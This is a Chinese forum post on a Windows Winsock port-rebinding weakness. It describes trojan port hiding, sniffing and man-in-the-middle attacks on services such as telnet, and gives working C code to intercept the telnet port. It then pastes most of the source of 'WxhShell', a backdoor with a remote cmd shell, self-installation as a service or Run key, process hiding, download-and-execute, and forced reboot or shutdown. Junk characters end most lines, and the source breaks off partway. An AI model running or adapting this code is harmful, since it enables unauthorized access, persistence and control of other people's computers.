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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -NL=^O$G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tsc2;I  
5@/hqOiu  
  saddr.sin_family = AF_INET; 2$=I+8IL  
QZ?%xN(4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EA=EcUf'  
/@xL {  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .{t]Mc  
'1NZSiv+C?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hha!uD~(  
dZ;rn!dg>  
  这意味着什么?意味着可以进行如下的攻击: s^lm 81;  
<%ZlJ_cM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U_oei3QP  
CeD(!1V G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v;$cx*?  
& Do|Hw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #}8 x  
[`/d$V!e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KpF/g[m  
yE=tuHv(0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !IAd.<,  
0J5IO|1M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p/4}SU  
Q?WgGE4>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v_L?n7c  
'ngx\Lr  
  #include qV&ai{G:  
  #include _fmOTz G  
  #include y|h:{<  
  #include    vIpitbFC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'joE-{  
  int main() {+  @M!  
  { &|#z" E^-  
  WORD wVersionRequested; 34s>hm=0.  
  DWORD ret; hutdw>  
  WSADATA wsaData; hY}.2  
  BOOL val; ~X2 cTG!,  
  SOCKADDR_IN saddr; ov%.+5P  
  SOCKADDR_IN scaddr; s{@3G8  
  int err; ^^ +vt8|  
  SOCKET s; =CGB}qU l0  
  SOCKET sc; em, j>qp  
  int caddsize; 0?/vcsO  
  HANDLE mt; dePI&z:  
  DWORD tid;   LvbS")  
  wVersionRequested = MAKEWORD( 2, 2 ); -5.~POO  
  err = WSAStartup( wVersionRequested, &wsaData ); NWt5)xl  
  if ( err != 0 ) { Ou,Eu05jt'  
  printf("error!WSAStartup failed!\n"); &8'QD~  
  return -1; aX,ux9#  
  } k`;&??  
  saddr.sin_family = AF_INET; O od?ifA  
   y1*z," dx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GkYD:o=qx  
`bMwt?[*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T*v@hbJ  
  saddr.sin_port = htons(23); b _%W*Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C=!YcJ9  
  { p({)ZU3  
  printf("error!socket failed!\n"); n.tJ-l5[  
  return -1; _;8+L\  
  } o:nh3K/YJ  
  val = TRUE; NUb:5tL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +8eW/Bs@2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0{zA6Xu  
  { ,W:Bh$%  
  printf("error!setsockopt failed!\n"); e_z"<yq  
  return -1; ^ e4y:#Nu  
  } IP-}J$$1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jSMs<ox  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [X=J]e^D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;&?l1Vu  
^iz2 =}Q8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) = }6l.9  
  { s\dhQZw3  
  ret=GetLastError(); $bo 5:c  
  printf("error!bind failed!\n"); +:m'a5Dm  
  return -1; m~U2 L  
  } eHQ3K#M#  
  listen(s,2); D`fi\A  
  while(1) WlfS|/\%V^  
  { w$)E#|i  
  caddsize = sizeof(scaddr); 6z>Zm1h  
  //接受连接请求 ?~fuMy B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hY^-kdQ>M  
  if(sc!=INVALID_SOCKET) Ii4lwZnz  
  { 3|g]2|~w@h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mbCY\vEl  
  if(mt==NULL) 2%oo.?!R  
  { m(c5g[6nO  
  printf("Thread Creat Failed!\n"); pGhA  
  break; 3t^r;b  
  } L?~-<k  
  } ^"hsbk&Yu  
  CloseHandle(mt); "J(7fL$!  
  } T.R(  
  closesocket(s); j@b18wZ  
  WSACleanup(); wU= @,K  
  return 0; Y/aNrIK7  
  }   H;nq4;^yK  
  DWORD WINAPI ClientThread(LPVOID lpParam) \/ 8 V|E  
  { Gkq<?q({t  
  SOCKET ss = (SOCKET)lpParam; d}e/f)(  
  SOCKET sc; J;S@Q/s  
  unsigned char buf[4096]; a}]zwV&  
  SOCKADDR_IN saddr; $Y Cy,Ew   
  long num; I_/kJ#7vj  
  DWORD val; 3[E)/~-  
  DWORD ret; {2,OK=XM|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \%ZF<sV W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p"XQJUuD  
  saddr.sin_family = AF_INET; .Lc<1s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7 *#pv}Y  
  saddr.sin_port = htons(23); ?a]u yw,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !`-/E']/  
  { MX.=k>  
  printf("error!socket failed!\n"); !Qd4Y=  
  return -1; E*_lT`Hzf  
  } V$7SVq  
  val = 100; TtaVvaz~>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {V)Z!D  
  { ctg[C$<q|  
  ret = GetLastError(); pdQ6/vh  
  return -1; jSyF]$"  
  } 5I(gP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1vF^<{%v  
  { u4kg#+H  
  ret = GetLastError(); o]vU(j_Ju  
  return -1; B[R1XpB7  
  } $A/$M\ :  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i C nWb  
  { k_c8\::p#  
  printf("error!socket connect failed!\n"); b1A8 -![  
  closesocket(sc); Zk.LGYz  
  closesocket(ss); l'2a?1/q  
  return -1; I}aiy.l  
  } ~+GMn[h  
  while(1) LOkNDmj  
  { 6k=ink-/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ba],ONM4k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *CH lg1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oKJj?%dHK9  
  num = recv(ss,buf,4096,0); PB :Lj  
  if(num>0) e Ert_@}  
  send(sc,buf,num,0); =O)dHY}  
  else if(num==0) !PzlrH)M=p  
  break; IaU  
  num = recv(sc,buf,4096,0); uW8LG\Z>D5  
  if(num>0) W]UGo,  
  send(ss,buf,num,0); 6J|Y+Y$  
  else if(num==0) @ qfVt  
  break; v_gQCS  
  } 7O)U(<70  
  closesocket(ss); [8VB"{{&  
  closesocket(sc); ~ZSP K;D[  
  return 0 ; Xh,{/5m  
  } <E(#;F^y  
l(T CF  
)bqfj>%#c  
========================================================== ^/3R/;?  
>g]kbes-\  
下边附上一个代码,,WXhSHELL *\Y \$w  
Qn77ZpL:LJ  
========================================================== 1>"K<6b+  
A&2)iQ  
#include "stdafx.h" CE$c/d[N.  
wPn#>\/L  
#include <stdio.h> <.0-K_  
#include <string.h> %s;#epP$  
#include <windows.h> *:q3<\y{  
#include <winsock2.h> pN)9 GO5  
#include <winsvc.h> @eRR#S  
#include <urlmon.h> _M/ckv1q@  
D-/K'|b  
#pragma comment (lib, "Ws2_32.lib") `o 6Hm  
#pragma comment (lib, "urlmon.lib") ag-\(i;K]  
Ocq.<#||H  
#define MAX_USER   100 // 最大客户端连接数 cp0@wC#d  
#define BUF_SOCK   200 // sock buffer wjF/c  
#define KEY_BUFF   255 // 输入 buffer h7NS9CgO  
O;9'0-F ?  
#define REBOOT     0   // 重启 -;TqdL@  
#define SHUTDOWN   1   // 关机 SSKn7`  
-,Q !:  
#define DEF_PORT   5000 // 监听端口 W27EU/+3  
/#z5bo  
#define REG_LEN     16   // 注册表键长度 ec: ?Q0  
#define SVC_LEN     80   // NT服务名长度 ISI\< qx  
0sv#* &0=  
// 从dll定义API ;^}gC}tq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FY [WdZDZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0Ii* "?s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dyRKmLb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9pKN^FX,76  
fQ5V RpWGn  
// wxhshell配置信息 C:/O]slH  
struct WSCFG { U5]{`C0H?  
  int ws_port;         // 监听端口 :=BFx"Y  
  char ws_passstr[REG_LEN]; // 口令 Wc4F'}s  
  int ws_autoins;       // 安装标记, 1=yes 0=no S ni Ck*T,  
  char ws_regname[REG_LEN]; // 注册表键名 ')w:`8Tl  
  char ws_svcname[REG_LEN]; // 服务名  u%<Je  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ty|E[Ez1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ll%CeP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MO+g*N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %nQii? 1`i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c(. 2D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wRn]  
\0iF <0oy  
}; gnW `|-:\  
<=A1d\   
// default Wxhshell configuration 0Zp) DM  
struct WSCFG wscfg={DEF_PORT, Amf gc>eJ  
    "xuhuanlingzhe", t@[&8j2B>  
    1, D.zEE-cGyb  
    "Wxhshell", P#(BdKjM  
    "Wxhshell", ~ztsR;iL  
            "WxhShell Service", [R[]&\W  
    "Wrsky Windows CmdShell Service", -t_t3aU|  
    "Please Input Your Password: ", R _WP r[P  
  1, C fKvC  
  "http://www.wrsky.com/wxhshell.exe", *Ppb;   
  "Wxhshell.exe" +85i;gO5  
    }; =m.Lw  
FUic7>  
// 消息定义模块 =T'N6x5@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NGIbUH1[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i>YD_#w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fr$E'+l)  
char *msg_ws_ext="\n\rExit."; }{Ab:+aNd  
char *msg_ws_end="\n\rQuit."; CM+Nm(|\,  
char *msg_ws_boot="\n\rReboot..."; T u>5H`  
char *msg_ws_poff="\n\rShutdown..."; DT`TA#O  
char *msg_ws_down="\n\rSave to "; m?DI]sIv#  
f 4CS  
char *msg_ws_err="\n\rErr!"; ezn%*X y,  
char *msg_ws_ok="\n\rOK!"; MaDdiyeC  
1*\JqCR  
char ExeFile[MAX_PATH]; XdX1GH*C  
int nUser = 0; z^z_!@7v   
HANDLE handles[MAX_USER]; 0|kkwZVPn  
int OsIsNt; q(sEN!^L`  
=e2|:Ba!  
SERVICE_STATUS       serviceStatus; sdF;H[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @j*K|+X"  
(3Hz=k_  
// 函数声明 u`I&&  
int Install(void); ;i*<HNQ  
int Uninstall(void); | +osEHC  
int DownloadFile(char *sURL, SOCKET wsh); p|!5G&O,  
int Boot(int flag); U5N/'p%)<  
void HideProc(void); ol QT r  
int GetOsVer(void); 6%bZZTP`  
int Wxhshell(SOCKET wsl); lXH?*  
void TalkWithClient(void *cs); Y ;$wD9W  
int CmdShell(SOCKET sock); {"T$j V:GB  
int StartFromService(void); $VOSd<87  
int StartWxhshell(LPSTR lpCmdLine); HriY-=ji>a  
:.wR*E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .J0s_[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $+CKy>  
iV#sMJN9  
// 数据结构和表定义 %M8 m 8 )  
SERVICE_TABLE_ENTRY DispatchTable[] = 7kX;|NA1  
{ UnSi=uj  
{wscfg.ws_svcname, NTServiceMain}, qxKW% {6o  
{NULL, NULL} 28,Hd!{  
}; [B<htD&  
72uARF  
// 自我安装 iI T7pq1  
int Install(void) RCM;k;@8V  
{ 1vKAJ<4W  
  char svExeFile[MAX_PATH]; O# n<`;W  
  HKEY key; !C13E lf  
  strcpy(svExeFile,ExeFile); ZfMDyS$.  
>&pB&'A a  
// 如果是win9x系统,修改注册表设为自启动 }8 V/Cd9  
if(!OsIsNt) { j#:IG/)GL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /4Ud6gscf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1dDK(RBbQ  
  RegCloseKey(key); ]fxYS m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !1G6ZC:z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L@9@3?  
  RegCloseKey(key); og0su  
  return 0; \ZNUt$\  
    } `sW+R=  
  } zt&"K0X|  
} yN-o?[o  
else { X5[.X()M4  
2F5*C  
// 如果是NT以上系统,安装为系统服务 %?<Y&t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D,R"P }G  
if (schSCManager!=0) p;#@#>h  
{ >\f'QQ  
  SC_HANDLE schService = CreateService 4FwtC"G3  
  ( 7]\_7L|>]  
  schSCManager, h 8Shf"  
  wscfg.ws_svcname, jEK{QOq0  
  wscfg.ws_svcdisp, h{xq  
  SERVICE_ALL_ACCESS, f/"? (7F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }Pi}? 41!  
  SERVICE_AUTO_START, Fsdp"X.  
  SERVICE_ERROR_NORMAL, iO$Z?Dyg9  
  svExeFile, +95: O 8  
  NULL, V46=48K.  
  NULL, [f._w~  
  NULL, 3[_zz;Y*d  
  NULL, 1u`{yl*+?  
  NULL +\s32o zg  
  ); 2TQyQ%  
  if (schService!=0) MSQz,nn  
  { `^d[$IbDW  
  CloseServiceHandle(schService); hCpX# rg?  
  CloseServiceHandle(schSCManager); \S5YS2,P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W20qn>{z  
  strcat(svExeFile,wscfg.ws_svcname); z5njblUz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KOv?p@d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @wVq%GG}  
  RegCloseKey(key); IA6,P>}N  
  return 0; qoZUX3{  
    } +"yt/9AO  
  } $3yzB9\a"  
  CloseServiceHandle(schSCManager); [hhPkJf|f  
} ve3-GWT{C  
} PiL[&_8g  
BYuoeN!  
return 1; ^RIDC/B=V6  
} s?Wkh`b  
rjaG{ i  
// 自我卸载 rlRRGJ\l  
int Uninstall(void) au+6ookT  
{ a ]b%v9  
  HKEY key; "gIjU~'A  
$bo,m2)  
if(!OsIsNt) { \I-bZ|^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n0 q$/Y.  
  RegDeleteValue(key,wscfg.ws_regname); Jxo#sV-  
  RegCloseKey(key); UngK9uB~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B5R/GV  
  RegDeleteValue(key,wscfg.ws_regname); ?xTdL738  
  RegCloseKey(key); ,qUOPW?=  
  return 0; |g`:K0BI  
  } AQ<2 "s  
} 'uBagd>*  
} W{!Slf  
else { 5Sh.4A\  
%^qf0d*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m[w 8|[  
if (schSCManager!=0) GZx?vSoHh  
{ (@(rz/H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LX%UkfA9  
  if (schService!=0) 6'a1]K  
  { yt 5'2!jc  
  if(DeleteService(schService)!=0) { e$Npo<u  
  CloseServiceHandle(schService); vyhxS.[9  
  CloseServiceHandle(schSCManager); i w(4!,4~  
  return 0; :c/](M  
  } K0 6 E:  
  CloseServiceHandle(schService); UmNh0nS  
  } g[D `.  
  CloseServiceHandle(schSCManager); <c!I\y  
} u^X,ASkQ  
} a? <Ar#)j  
e b*w$|y6"  
return 1; n38l!m(.  
} 6Gj69Lr  
|+h8g@;Z  
// 从指定url下载文件 _ry7 [/)  
int DownloadFile(char *sURL, SOCKET wsh) wK*b2r}0/  
{ /4{.J=R}  
  HRESULT hr; ( L ]C  
char seps[]= "/"; )BX-Y@fpA  
char *token; uzO3_.4Y  
char *file;  ~=Q|EhF5  
char myURL[MAX_PATH]; m2r %m y  
char myFILE[MAX_PATH]; 41s[p56+@  
*nYb9.T]i  
strcpy(myURL,sURL); O8<@+xlX  
  token=strtok(myURL,seps); 2E/yZ ~2s  
  while(token!=NULL) P$hmDTn72  
  { o4d[LV4DS  
    file=token; $g@-WNe  
  token=strtok(NULL,seps); xA#'%|"  
  }  gU%R9  
fs3jPHZJ#  
GetCurrentDirectory(MAX_PATH,myFILE); R) 'AI[la  
strcat(myFILE, "\\"); ;FH_qF`.  
strcat(myFILE, file); i9B1/?^W&  
  send(wsh,myFILE,strlen(myFILE),0); ;sZHE &+  
send(wsh,"...",3,0); mEVne.D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q"D%xY  
  if(hr==S_OK) R)u ${  
return 0; >=!$(JgX  
else bA*T1Db,t>  
return 1; 3`^NaQ  
Q VJvuiUh  
} H'2Un(#Al  
eGW~4zU  
// 系统电源模块 RxrUnMF  
int Boot(int flag) 4K<T_B/  
{ ?6>rQ6tBv  
  HANDLE hToken; `mo>~c7  
  TOKEN_PRIVILEGES tkp; mj^]e/s%  
n<3*7/-  
  if(OsIsNt) { h_?#.z0ih;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1 z5\>F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P6([[mmG  
    tkp.PrivilegeCount = 1; 3^%sz!jK+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h8-'I= ~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -_xC,dwK  
if(flag==REBOOT) { ;d{lvKk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h 1 `yW#%  
  return 0; t1%<l  
} Q"QL#<N  
else { .!`v2_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z;KUIWg  
  return 0; v:w $l{7  
} =^D{ZZw{  
  } OK1f Y`$z  
  else { n?z^"vv$i  
if(flag==REBOOT) { AfOq?V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O:86*  
  return 0;  U<Z\jT[  
} HZ.Jc"+M  
else { sXmo.{Ayb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y |0I3n]e  
  return 0; D-!#TN`Y  
} BH$+{rZ8t  
} 3V2w1CERE  
j"Vb8}  
return 1; 9CW8l0  
} j9IeqlL  
; rJ  
// win9x进程隐藏模块 9X[}ik0  
void HideProc(void) y+ ZCuX  
{ _Sxp|{H0  
},'Ij; %%Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sxBRg=  
  if ( hKernel != NULL ) Hz] p]  
  { DJ#z0)3<p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {Vj25Gt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DZ9qIc}Y  
    FreeLibrary(hKernel); 0Fi&7%  
  } OJH:k~]0!  
\ mt> R[  
return; X/!37  
} xw%'R-  
=P"Sm r  
// 获取操作系统版本 Z" !+p{u  
int GetOsVer(void) 68v59)0U  
{ S3(2.c~  
  OSVERSIONINFO winfo; >|e>=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9v2(cpZ  
  GetVersionEx(&winfo); [Y^1}E*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <fLk\ =  
  return 1; I$7TnMug  
  else 6qgII~F'  
  return 0; D;l)&"|r?  
} VSI.c`=,  
al3[Ph5G  
// 客户端句柄模块 L beMP  
int Wxhshell(SOCKET wsl) 0- 'f1 1S  
{ /`Wd+  
  SOCKET wsh; Hx]{'?   
  struct sockaddr_in client; G$buZspL'd  
  DWORD myID; 389puDjy  
`*1059   
  while(nUser<MAX_USER) vs )1Rm  
{ @Fl&@ $  
  int nSize=sizeof(client); cKj6tT"=O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [Bz'c1  
  if(wsh==INVALID_SOCKET) return 1; H@8g 9;+  
UkY `&&ic  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &xwAE*}  
if(handles[nUser]==0) =k(~PB^>  
  closesocket(wsh); ;7]Q'N  
else u/h!i@_w[  
  nUser++; jKcnZu  
  } 2Rp'ju~O)/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5_mb+A n,  
1Jx|0YmO  
  return 0; Kb#}f/  
} o5N];Nj  
8;YN`S!o  
// 关闭 socket vkXdKL(q  
void CloseIt(SOCKET wsh) =lf&mD _/  
{ Hkv4t5F  
closesocket(wsh); U*' YGv  
nUser--; L|3wG Y9E  
ExitThread(0);  t : =  
} "lp),  
fi[c^e+IX  
// 客户端请求句柄 O_p:`h:;M  
void TalkWithClient(void *cs) "DFj4XKXY9  
{ tN5brf  
Rp2~d  
  SOCKET wsh=(SOCKET)cs; FJN,er~T[  
  char pwd[SVC_LEN]; oJk$ +v6  
  char cmd[KEY_BUFF]; QrP$5H{[E  
char chr[1]; 042sjt  
int i,j; =9 TAs? =  
*yv@-lP5s  
  while (nUser < MAX_USER) { ]x hmM1$  
2wWL]`(E  
if(wscfg.ws_passstr) { z:aT5D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); COw]1 R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 GdrJ~h  
  //ZeroMemory(pwd,KEY_BUFF); TXi$Q%0W  
      i=0; *XmOWV2Y_  
  while(i<SVC_LEN) { +|OkT  
0 mWfR8h0  
  // 设置超时 ] =jnt  
  fd_set FdRead; 3:rH1vG.m  
  struct timeval TimeOut; j/bebR}X  
  FD_ZERO(&FdRead); sBuVm<H  
  FD_SET(wsh,&FdRead); g#V3u=I8~  
  TimeOut.tv_sec=8; ,~Y5vnaOQ  
  TimeOut.tv_usec=0; b&g9A{t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $ ;/Ny)"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &Z+a (  
)>ed6A1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [|2uu."$  
  pwd=chr[0]; @NXGVmY1}  
  if(chr[0]==0xd || chr[0]==0xa) { $J #}3;a  
  pwd=0; 'nNw  
  break; : 5@cj j  
  } %>uGzQ61  
  i++; j\nnx8`7  
    } eBTy!!  
<ZJ>jZV0*  
  // 如果是非法用户,关闭 socket oOuhbFu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P Z-|W  
} %Hu Qc^  
g S;p::  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u pf7:gk +  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {MKq Yl{  
*g5df[  
while(1) { #3$U&|`  
%2<chq  
  ZeroMemory(cmd,KEY_BUFF); &L-y1'i=j  
PZO7eEt8  
      // 自动支持客户端 telnet标准   @ -JD`2z  
  j=0; ~Xnq(}?ok  
  while(j<KEY_BUFF) { dCcV$BX,K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P _t8=d  
  cmd[j]=chr[0]; o><~.T=d&  
  if(chr[0]==0xa || chr[0]==0xd) { _c%]RE  
  cmd[j]=0;  UJoWTx  
  break; F5%-6@=  
  } 3vOI=ar=L~  
  j++; {R[lsdH(X  
    } 0-g,C=L  
K+H?,I  
  // 下载文件 0At??Z py  
  if(strstr(cmd,"http://")) { b]mRn{r?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DB_ x  
  if(DownloadFile(cmd,wsh)) 71Ssk|L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9U58#  
  else 1z~;c|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @l&5 |Cia  
  } 6.~(oepu  
  else { P]+^^ U  
Tp<=dH%$%"  
    switch(cmd[0]) { ]k{cPK  
  ZzI^*Nyg  
  // 帮助 ")HTUlcAe}  
  case '?': { sEdWBT 8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l~&efAJ-$  
    break; `R8~H7{I6  
  } ~MO'%'@  
  // 安装 .F)b9d[?  
  case 'i': { '[5tc fG#z  
    if(Install()) F& H~JJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h|%d=`P,  
    else %M9^QHyo@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2=!/)hw}  
    break; n=t%,[Op  
    } *NDLGdQqz  
  // 卸载 *ARro Ndr  
  case 'r': { U*k$pp6\b~  
    if(Uninstall()) hS +;HB,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4cJ7.Pez  
    else VQ<Z`5eV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `X^ 4~6/q  
    break; [fR<#1Z  
    } *D;B%j^;  
  // 显示 wxhshell 所在路径 Ec0Ee0%A]  
  case 'p': { \I,<G7!0  
    char svExeFile[MAX_PATH]; 8.jd'yp*J  
    strcpy(svExeFile,"\n\r"); V* fDvr0  
      strcat(svExeFile,ExeFile); Dw[w%uz  
        send(wsh,svExeFile,strlen(svExeFile),0); GFlsI-*`  
    break; fQuphMOl6  
    } C(iA G  
  // 重启 7"*- >mg  
  case 'b': { ,X\z#B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J;"XRE[%5  
    if(Boot(REBOOT)) MkJL9eG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N3r{|Bu  
    else { I U 4[}x  
    closesocket(wsh); ":"M/v%F  
    ExitThread(0); sNX$ =<E  
    } R,Tw0@{O*  
    break; ,3GM'e{hV  
    } w ^`n  
  // 关机 FNmIXpAn*@  
  case 'd': { <`| }bt  
